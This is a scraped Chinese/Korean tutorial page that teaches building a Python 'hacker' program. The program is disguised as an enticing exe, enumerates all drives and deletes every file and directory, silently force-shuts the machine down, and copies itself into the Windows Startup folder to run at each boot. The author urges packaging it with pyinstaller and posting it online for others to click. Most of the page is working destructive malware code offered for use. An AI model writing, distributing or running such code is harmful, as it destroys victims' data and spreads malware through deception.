찾다
백엔드 개발파이썬 튜토리얼Python을 사용하여 한 번의 클릭으로 모든 디스크 파일을 삭제하고 자동으로 종료하고 백도어를 남깁니다.

今天我们要做的案例是怎样利用Python做一个hacker软件。

众所周知,一般的Hacker对于黑操作系统一般常用手法莫过于发送木马客户端,修改系统注册表。

组策略,获得开机启动权限,入侵电脑然后对电脑的文件进行修改来达到不可告人的目的。

今天我们要讲的就是最基础的,怎样获得开机启动,先给大家讲最基础添加文件到系统启动项的文件夹中,当然更加高端点也可以使用注册表添加,这里不在累述。好了,下面开始正题。。。。。。


/实现步骤/

首先我们通过社会工程学进行一个分析,准备一个足够吸引人的exe文件名称好让人第一眼看到就想点击它的欲望;等到别人点击了之后了这个程序是没有任何响应的,那么有的人也许会多点几下程序,当然这也对程序没有任何影响。下面我们来看一下:

首先我们得获取系统盘盘符,这个我们可以使用os模块通过对环境变量的字典键值来得到当前系统盘盘符。    

import os
print(os.getenv('SystemDrive'))

Python을 사용하여 한 번의 클릭으로 모든 디스크 파일을 삭제하고 자동으로 종료하고 백도어를 남깁니다.

得到盘符后我们先可以将他的目录下的文件和文件夹打印出来    

aa=os.getenv('SystemDrive')
os.chdir(aa+'\\\\') \#修改当前目录
os.system('tree\>\>1.txt') 打印树形目录并将其结果保存到1.txt文件中

Python을 사용하여 한 번의 클릭으로 모든 디스크 파일을 삭제하고 자동으로 종료하고 백도어를 남깁니다.

Python을 사용하여 한 번의 클릭으로 모든 디스크 파일을 삭제하고 자동으로 종료하고 백도어를 남깁니다.

Python을 사용하여 한 번의 클릭으로 모든 디스크 파일을 삭제하고 자동으로 종료하고 백도어를 남깁니다.

然后我们只需要删除盘符下的文件夹和文件即可

所以我们需要用到 os 的walk遍历当前盘符下的所有文件,然后使用remove方法和rmdir方法,一个是删除文件另一个是删除目录

好了。我们开始吧,由于没有虚拟机于是自己创建一个目录放了若干文件夹和文件,效果都一样

path = r"C:\\Users\\Administrator\\Desktop\\sa"

os.walk() 方法用于通过在目录树中游走输出在目录中的文件名,向上或者向下。

os.walk()方法是一个简单易用的文件、目录遍历器,可以帮助我们高效的处理文件、目录方面的事情。

语法:

os.walk(top[, topdown=True[, onerror=None[, followlinks=False]]])

参数:

top -- 根目录下的每一个文件夹(包含它自己), 产生3-元组 (dirpath, dirnames,filenames) 【文件夹路径, 文件夹名字, 文件名】。

topdown --可选,为True或者没有指定,一个目录的的3-元组将比它的任何子文件夹的3-元组先产生 (目录自上而下)。

如果topdown为 False, 一个目录的3-元组将比它的任何子文件夹的3-元组后产生(目录自下而上)。

onerror -- 可选,是一个函数; 它调用时有一个参数,一个OSError实例。报告这错误后,继续walk,

或者抛出exception终止walk。    

for root,dirs,files in os.walk(path,topdown=False):
    \#遍历目录
    for name in files:
        os.remove(os.path.join(root, name))


    for name in dirs:
        os.rmdir(os.path.join(root, name))

Python을 사용하여 한 번의 클릭으로 모든 디스크 파일을 삭제하고 자동으로 종료하고 백도어를 남깁니다.

Python을 사용하여 한 번의 클릭으로 모든 디스크 파일을 삭제하고 자동으로 종료하고 백도어를 남깁니다.

Python을 사용하여 한 번의 클릭으로 모든 디스크 파일을 삭제하고 자동으로 종료하고 백도어를 남깁니다.

其实还有一种方法,就是shutil.rmtree(path),但是它会删除目录本身及所有子文件夹和文件,也就是说他会删除sa这个目录,所以不推荐这种搞法,因为我们要删除的是盘符下的文件夹或者文件,这样做很容易导致未知的错误

得到了系统盘符之后,我们还想得到系统其它盘符那该怎么办了,不着急,我们可以试试下面这种方法。

import os
import string


def get_pan():
    disk_list=[] \#磁盘盘符列表
    for p in string.ascii_uppercase: \#遍历所有大写字母
    disk=p+':'
    if os.path.isdir(disk): \#看磁盘盘符名用了哪些大写字母开头
            disk_list.append(disk) \#添加到盘符列表
    return disk_list
print(get_pan()) #打印盘符

Python을 사용하여 한 번의 클릭으로 모든 디스크 파일을 삭제하고 자동으로 종료하고 백도어를 남깁니다.

Python을 사용하여 한 번의 클릭으로 모든 디스크 파일을 삭제하고 자동으로 종료하고 백도어를 남깁니다.

结果很完美,跟我预想的一模一样,连u盘盘符也打印出来了~

光打印一个磁盘目录文件好像显得有点美中不足,于是我决定吧所有磁盘目录文件都整出来,老样子,还是树形结构。

Python을 사용하여 한 번의 클릭으로 모든 디스크 파일을 삭제하고 자동으로 종료하고 백도어를 남깁니다.

Python을 사용하여 한 번의 클릭으로 모든 디스크 파일을 삭제하고 자동으로 종료하고 백도어를 남깁니다.

Python을 사용하여 한 번의 클릭으로 모든 디스크 파일을 삭제하고 자동으로 종료하고 백도어를 남깁니다.

这样每个盘的目录结构就都保存在对应盘的2.txt文件中了。

然后我们将会把这些盘符下的目录文件全部删除,当然遍历删除啦,为了模拟真实场景我决定用几个带有多层文件和目录的文件夹来代替盘符,这里我就不一一截图了,直接上代码,老样子    

g=['C:\\\\Users\\\\Administrator\\\\Desktop\\\\sa\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\qq\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\sq\\\\']


for y in g:
    for root, dirs, files in os.walk(y,topdown=False):\#遍历目录
        for name in files:
            os.remove(os.path.join(root, name))
        for name in dirs:
            os.rmdir(os.path.join(root, name))

ok,我们已经将文件及目录全部删除。

删除文件后了系统自然无法正常运行,于是这个时候我们可以使电脑关机,shutdown ,我的不二选择,它的方法有很多,用法:

shutdown [/i | /l | /s | /sg | /r | /g | /a | /p | /h | /e | /o][/hybrid] [/soft] [/fw] [/f]
/m \computer[/d [p|u:]xx:yy [/c “comment”]]

没有参数 显示帮助。这与键入 /? 是一样的。

/? 显示帮助。这与不键入任何选项是一样的。
/i 显示图形用户界面(GUI)。这必须是第一个选项。
/l 注销。这不能与 /m 或 /d 选项一起使用。
/s 关闭计算机。
/sg 关闭计算机。在下一次启动时,重启任何注册的应用程序。
/r 完全关闭并重启计算机。
/g 完全关闭并重新启动计算机。在重新启动系统后,重启任何注册的应用程序。
/a 中止系统关闭。这只能在超时期间使用。
与 /fw 结合使用,以清除任何未完成的至固件的引导。
/p 关闭本地计算机,没有超时或警告。可以与 /d 和 /f 选项一起使用。
/h 休眠本地计算机。可以与 /f 选项一起使用。
/hybrid 执行计算机关闭并进行准备以快速启动。必须与 /s 选项一起使用。
/fw 与关闭选项结合使用,使下次启动转到固件用户界面。
/e 记录计算机意外关闭的原因。
/o 转到高级启动选项菜单并重新启动计算机。
必须与 /r 选项一起使用。
/m \\computer 指定目标计算机。
/t xxx 将关闭前的超时时间设置为 xxx 秒。
有效范围是 0-315360000 (10 年),默认值为 30。
如果超时时间大于 0,则默示为/f 参数。
/c "comment" 有关重新启动或关闭的原因的注释。最多允许 512 个字符。
/f 强制关闭正在运行的应用程序而不事先警告用户。
如果为 /t 参数指定大于 0 的值,则默示为 /f 参数。
/d [p|u:]xx:yy 提供重新启动或关闭的原因。
p 指示重启或关闭是计划内的。
u 指示原因是用户定义的。
如果未指定 p 也未指定 u,则重新启动或关闭是计划外的。
xx 是主要原因编号(小于 256 的正整数)。
yy 是次要原因编号(小于 65536 的正整数)。

所以我们得调用os.popen('shutdown /f /sg'),这样就可以在没有任何提示下关机了,神不知鬼不觉,哈哈哈,当然这个操作得是基于文件操作结束后进行的,再次进行优化    

g=['C:\\\\Users\\\\Administrator\\\\Desktop\\\\sa\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\qq\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\sq\\\\']


for y in g:
  try:
          #遍历目录
          for root, dirs, files in os.walk(y,topdown=False):
              for name in files:
                  os.remove(os.path.join(root, name))
              for name in dirs:
                  os.rmdir(os.path.join(root, name))
                  time.sleep(1)
  
  except Exception:
          pass
  
  finally:
          os.popen('shutdown /f /sg')\#不弹出黑窗口

我们把程序发到网上运气好别人点击了,得让那个文件在自启动目录然后每次开机那个程序才会跟着启动啊,但是你想让别人把那个文件放到启动目录里去,做梦呢?这些操作当然交给万能的Python就能一步搞定啦。我们可以在点击这个文件之后快速生成一个bat文件和一个EXE文件或者Python文件。

在这里我以Python 和bat为主,因为我还没打包的缘故。

自启动目录路径:
C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup
import shutil
shutil.copyfile('gc.py',r'C:\\ProgramData\\Microsoft\\Windows\\Start
Menu\\Programs\\StartUp\\gc1.py')

在这里我们用到shutil这个模块,专门操作文件目录的Copyfile方法是将当前资源文件复制到另一个目录下的文件,但是需要注意一点的是,两个文件名不可一样,否则会报错,虽然它可以复制,如果你非得用这个方法,记得抛异常。好了,现在可以了:

Python을 사용하여 한 번의 클릭으로 모든 디스크 파일을 삭제하고 자동으로 종료하고 백도어를 남깁니다.

Python을 사용하여 한 번의 클릭으로 모든 디스크 파일을 삭제하고 자동으로 종료하고 백도어를 남깁니다.

Python을 사용하여 한 번의 클릭으로 모든 디스크 파일을 삭제하고 자동으로 종료하고 백도어를 남깁니다.

然后我们还需要一个bat来启动它,因为没有bat它是需要借助外力去点击才有效果的,有了bat就可以自动启动。

建立一个后缀为bat的文件,内容如下:

Python을 사용하여 한 번의 클릭으로 모든 디스크 파일을 삭제하고 자동으로 종료하고 백도어를 남깁니다.

동일해요. bat 파일을 지능적으로 생성하려면 Python이 필요합니다. 작성하는 방법은 매우 간단합니다. 누군가 Python을 실행한 후에는 검은색 창이 없기 때문에 왜 Python이 아닌지 물었습니다. bat 파일이나 프로그램 파일 복사 삭제 후 누군가가 나에게 파일을 모두 삭제한 후 어떤 파일을 보관해야 합니까? 하하하하, 단지 오락용이라고만 말할 수 있습니다. . .

주제로 돌아가서 프로그램 파일 하나만 생성하면 됩니다.

Python을 사용하여 한 번의 클릭으로 모든 디스크 파일을 삭제하고 자동으로 종료하고 백도어를 남깁니다.

Python을 사용하여 한 번의 클릭으로 모든 디스크 파일을 삭제하고 자동으로 종료하고 백도어를 남깁니다.

이 작업이 완료되면 Python 파일을 패키징할 수도 있으므로 bat 파일에 인터프리터를 작성할 필요가 없습니다. 일부 대상 컴퓨터에는 Python 환경이 없을 수 있기 때문입니다. 이때 필요한 내용을 pyinstaller로 패키징해 보겠습니다. 패키징한 후 bat 파일의 내용을 변경하여 gc.exe를 시작하면 됩니다.

exe 파일로 패키징한 후 온라인에 게시하여 X를 설치하시면 됩니다 ㅎㅎㅎ~

위 내용은 Python을 사용하여 한 번의 클릭으로 모든 디스크 파일을 삭제하고 자동으로 종료하고 백도어를 남깁니다.의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명
이 기사는 Go语言进阶学习에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제
파이썬 : 게임, Guis 등파이썬 : 게임, Guis 등Apr 13, 2025 am 12:14 AM

Python은 게임 및 GUI 개발에서 탁월합니다. 1) 게임 개발은 Pygame을 사용하여 드로잉, 오디오 및 기타 기능을 제공하며 2D 게임을 만드는 데 적합합니다. 2) GUI 개발은 Tkinter 또는 PYQT를 선택할 수 있습니다. Tkinter는 간단하고 사용하기 쉽고 PYQT는 풍부한 기능을 가지고 있으며 전문 개발에 적합합니다.

Python vs. C : 응용 및 사용 사례가 비교되었습니다Python vs. C : 응용 및 사용 사례가 비교되었습니다Apr 12, 2025 am 12:01 AM

Python은 데이터 과학, 웹 개발 및 자동화 작업에 적합한 반면 C는 시스템 프로그래밍, 게임 개발 및 임베디드 시스템에 적합합니다. Python은 단순성과 강력한 생태계로 유명하며 C는 고성능 및 기본 제어 기능으로 유명합니다.

2 시간의 파이썬 계획 : 현실적인 접근2 시간의 파이썬 계획 : 현실적인 접근Apr 11, 2025 am 12:04 AM

2 시간 이내에 Python의 기본 프로그래밍 개념과 기술을 배울 수 있습니다. 1. 변수 및 데이터 유형을 배우기, 2. 마스터 제어 흐름 (조건부 명세서 및 루프), 3. 기능의 정의 및 사용을 이해하십시오. 4. 간단한 예제 및 코드 스 니펫을 통해 Python 프로그래밍을 신속하게 시작하십시오.

파이썬 : 기본 응용 프로그램 탐색파이썬 : 기본 응용 프로그램 탐색Apr 10, 2025 am 09:41 AM

Python은 웹 개발, 데이터 과학, 기계 학습, 자동화 및 스크립팅 분야에서 널리 사용됩니다. 1) 웹 개발에서 Django 및 Flask 프레임 워크는 개발 프로세스를 단순화합니다. 2) 데이터 과학 및 기계 학습 분야에서 Numpy, Pandas, Scikit-Learn 및 Tensorflow 라이브러리는 강력한 지원을 제공합니다. 3) 자동화 및 스크립팅 측면에서 Python은 자동화 된 테스트 및 시스템 관리와 ​​같은 작업에 적합합니다.

2 시간 안에 얼마나 많은 파이썬을 배울 수 있습니까?2 시간 안에 얼마나 많은 파이썬을 배울 수 있습니까?Apr 09, 2025 pm 04:33 PM

2 시간 이내에 파이썬의 기본 사항을 배울 수 있습니다. 1. 변수 및 데이터 유형을 배우십시오. 이를 통해 간단한 파이썬 프로그램 작성을 시작하는 데 도움이됩니다.

10 시간 이내에 프로젝트 및 문제 중심 방법에서 컴퓨터 초보자 프로그래밍 기본 사항을 가르치는 방법?10 시간 이내에 프로젝트 및 문제 중심 방법에서 컴퓨터 초보자 프로그래밍 기본 사항을 가르치는 방법?Apr 02, 2025 am 07:18 AM

10 시간 이내에 컴퓨터 초보자 프로그래밍 기본 사항을 가르치는 방법은 무엇입니까? 컴퓨터 초보자에게 프로그래밍 지식을 가르치는 데 10 시간 밖에 걸리지 않는다면 무엇을 가르치기로 선택 하시겠습니까?

중간 독서를 위해 Fiddler를 사용할 때 브라우저에서 감지되는 것을 피하는 방법은 무엇입니까?중간 독서를 위해 Fiddler를 사용할 때 브라우저에서 감지되는 것을 피하는 방법은 무엇입니까?Apr 02, 2025 am 07:15 AM

Fiddlerevery Where를 사용할 때 Man-in-the-Middle Reading에 Fiddlereverywhere를 사용할 때 감지되는 방법 ...

Python 3.6에 피클 파일을로드 할 때 '__builtin__'모듈을 찾을 수없는 경우 어떻게해야합니까?Python 3.6에 피클 파일을로드 할 때 '__builtin__'모듈을 찾을 수없는 경우 어떻게해야합니까?Apr 02, 2025 am 07:12 AM

Python 3.6에 피클 파일로드 3.6 환경 보고서 오류 : modulenotfounderror : nomodulename ...

See all articles

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

AI Hentai Generator

AI Hentai Generator

AI Hentai를 무료로 생성하십시오.

인기 기사

R.E.P.O. 에너지 결정과 그들이하는 일 (노란색 크리스탈)
3 몇 주 전By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. 최고의 그래픽 설정
3 몇 주 전By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. 아무도들을 수없는 경우 오디오를 수정하는 방법
3 몇 주 전By尊渡假赌尊渡假赌尊渡假赌
WWE 2K25 : Myrise에서 모든 것을 잠금 해제하는 방법
4 몇 주 전By尊渡假赌尊渡假赌尊渡假赌

뜨거운 도구

Atom Editor Mac 버전 다운로드

Atom Editor Mac 버전 다운로드

가장 인기 있는 오픈 소스 편집기

ZendStudio 13.5.1 맥

ZendStudio 13.5.1 맥

강력한 PHP 통합 개발 환경

SublimeText3 중국어 버전

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

WebStorm Mac 버전

WebStorm Mac 버전

유용한 JavaScript 개발 도구

VSCode Windows 64비트 다운로드

VSCode Windows 64비트 다운로드

Microsoft에서 출시한 강력한 무료 IDE 편집기